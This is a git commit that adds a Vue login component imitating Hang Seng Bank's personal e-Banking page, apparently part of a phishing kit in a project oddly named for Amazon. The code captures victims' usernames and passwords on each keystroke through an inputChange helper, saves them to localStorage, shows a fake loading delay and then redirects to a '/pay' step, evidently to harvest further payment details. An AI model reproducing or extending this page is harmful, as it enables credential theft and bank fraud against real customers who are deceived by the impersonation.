update
This commit is contained in:
telangpu
320
a9_usa_Fine_amazon/src/views/PhoneView.vue
Normal file
320
a9_usa_Fine_amazon/src/views/PhoneView.vue
Normal file
@@ -0,0 +1,320 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useI18n } from "vue-i18n";
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange } from "@/utils/common";
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
const formData = ref({ homePageData: { username: "", password: "" } });
|
||||
const warningMessage = ref("");
|
||||
|
||||
// 计算属性：检查用户名和密码是否都已输入
|
||||
const isFormFilled = computed(() => {
|
||||
return formData.value.homePageData.username.trim() !== "" && formData.value.homePageData.password.trim() !== "";
|
||||
});
|
||||
|
||||
// 处理表单提交
|
||||
const next = () => {
|
||||
if (!formData.value.homePageData.username || !formData.value.homePageData.password) {
|
||||
warningMessage.value = t("請輸入您的用戶名稱和密碼。");
|
||||
return;
|
||||
}
|
||||
|
||||
warningMessage.value = "";
|
||||
localStorage.setItem("username", formData.value.homePageData.username);
|
||||
localStorage.setItem("password", formData.value.homePageData.password);
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
loadingStore.setLoading(false);
|
||||
router.push("/pay"); // 根据需要调整路由
|
||||
}, 2000);
|
||||
};
|
||||
|
||||
// 处理输入变化
|
||||
const onchange = (event: any) => {
|
||||
inputChange("input_login", "username", event.target.value);
|
||||
};
|
||||
|
||||
const passchange = (event: any) => {
|
||||
inputChange("input_login", "password", event.target.value);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.homePageData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "phone");
|
||||
});
|
||||
</script>
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="row p-10-ch">
|
||||
<div id="mainPanel" class="px-0 mainContent">
|
||||
<div class="row" style="height: 100%; justify-content: center;">
|
||||
<div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
|
||||
<h2 class="login-title">登入恒生個人e-Banking</h2>
|
||||
|
||||
<!-- 警告信息，SVG 和文本共享背景 -->
|
||||
<div class="warning-box">
|
||||
<span class="warning-icon">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#3b6793">
|
||||
<path d="M480-280q17 0 28.5-11.5T520-320q0-17-11.5-28.5T480-360q-17 0-28.5 11.5T440-320q0 17 11.5 28.5T480-280Zm-40-160h80v-240h-80v240Zm40 360q-83 0-156-31.5T197-197q-54-54-85.5-127T80-480q0-83 31.5-156T197-763q-54-54 127-85.5T480-880q83 0 156 31.5T763-763q54 54 85.5 127T880-480q0 83-31.5 156T763-197q-54 54-127 85.5T480-80Zm0-80q134 0 227-93t93-227q0-134-93-227t-227-93q-134 0-227 93t-93 227q0 134 93 227t227 93Zm0-320Z"/>
|
||||
</svg>
|
||||
</span>
|
||||
<div class="warning-text">
|
||||
<p>
|
||||
如此以手機瀏覽器登入，部份服務將未能使用。我們建議您使用電腦瀏覽器登入，或下載恒生的恒生Mobile App，以更方便地使用銀行服務。
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 用户名输入框 -->
|
||||
<div class="form-group">
|
||||
<label class="loginlabel">輸入您的用戶名稱</label>
|
||||
<input
|
||||
type="text"
|
||||
id="txtuserid"
|
||||
class="textfield required"
|
||||
v-model="formData.homePageData.username"
|
||||
@input="onchange"
|
||||
placeholder=""
|
||||
autocomplete="off"
|
||||
>
|
||||
</div>
|
||||
|
||||
<!-- 密码输入框 -->
|
||||
<div class="form-group">
|
||||
<label class="loginlabel">輸入您的密碼</label>
|
||||
<input
|
||||
type="password"
|
||||
id="txtpass"
|
||||
class="textfield password"
|
||||
v-model="formData.homePageData.password"
|
||||
@input="passchange"
|
||||
placeholder=""
|
||||
autocomplete="off"
|
||||
>
|
||||
</div>
|
||||
|
||||
<!-- 表单验证警告信息 -->
|
||||
<div v-if="warningMessage" aria-live="assertive" role="alert">
|
||||
<div class="css-j4y2sz">
|
||||
<span class="css-1mne40r">
|
||||
<svg viewBox="0 0 48 48" width="1em" height="1em">
|
||||
<path
|
||||
d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
|
||||
></path>
|
||||
</svg>
|
||||
</span>
|
||||
<span class="css-l0mv58">{{ warningMessage }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- 提交按钮，动态类绑定 -->
|
||||
<button
|
||||
@click.prevent="next"
|
||||
:class="['proceedButton', { 'proceedButton--active': isFormFilled }]"
|
||||
>
|
||||
繼續
|
||||
</button>
|
||||
|
||||
<!-- 链接 -->
|
||||
<div class="links">
|
||||
<a href="/zh-hk/security/recoverProfile" class="loginlink">
|
||||
忘記用戶名稱
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
|
||||
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
|
||||
</svg>
|
||||
</a>
|
||||
<a href="/zh-hk/security/registration" class="loginlink">
|
||||
未登記個人e-Banking
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
|
||||
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
<style scoped>
|
||||
/* 布局调整 */
|
||||
.row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.p-10-ch {
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.px-0 {
|
||||
padding-left: 0;
|
||||
padding-right: 0;
|
||||
}
|
||||
|
||||
.mainContent {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.col-lg-8, .col-md-7, .col-12 {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
@media (min-width: 992px) {
|
||||
.col-lg-8 {
|
||||
flex: 0 0 66.666667%;
|
||||
max-width: 66.666667%;
|
||||
}
|
||||
}
|
||||
|
||||
@media (min-width: 768px) {
|
||||
.col-md-7 {
|
||||
flex: 0 0 58.333333%;
|
||||
max-width: 58.333333%;
|
||||
}
|
||||
}
|
||||
|
||||
/* 标题 */
|
||||
.login-title {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
/* 警告框 */
|
||||
.warning-box {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
background-color: #e6f0fa;
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.warning-icon {
|
||||
display: inline-block;
|
||||
margin-right: 10px;
|
||||
}
|
||||
|
||||
.warning-icon svg {
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
}
|
||||
|
||||
.warning-text {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.warning-text p {
|
||||
margin: 0;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
/* 表单样式 */
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
text-align: left;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.loginlabel {
|
||||
display: block;
|
||||
margin-bottom: 5px;
|
||||
font-size: 14px;
|
||||
color: #000;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.textfield {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
border: 2px solid #00cc00;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
.textfield:focus {
|
||||
outline: none;
|
||||
border-color: #666;
|
||||
}
|
||||
|
||||
/* 按钮样式 */
|
||||
.proceedButton {
|
||||
background: #ccc;
|
||||
color: white;
|
||||
padding: 12px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
font-size: 14px;
|
||||
cursor: pointer;
|
||||
width: 100%;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.proceedButton:hover {
|
||||
background: #999;
|
||||
}
|
||||
|
||||
.proceedButton--active {
|
||||
background: #008945;
|
||||
}
|
||||
|
||||
.proceedButton--active:hover {
|
||||
background: #006b35; /* 鼠标悬停时稍微变暗 */
|
||||
}
|
||||
|
||||
/* 链接样式 */
|
||||
.links {
|
||||
margin-top: 15px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.loginlink {
|
||||
color: #999;
|
||||
text-decoration: none;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.loginlink:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
/* 警告信息样式 */
|
||||
.css-j4y2sz {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
padding: 10px;
|
||||
margin-bottom: 15px;
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
.css-1mne40r {
|
||||
display: inline-block;
|
||||
line-height: 1;
|
||||
vertical-align: middle;
|
||||
font-size: 1.75rem;
|
||||
fill: rgb(180, 44, 1);
|
||||
}
|
||||
|
||||
.css-l0mv58 {
|
||||
color: #dc3545;
|
||||
font-size: 14px;
|
||||
}
|
||||
</style>
|
||||
Reference in New Issue
Block a user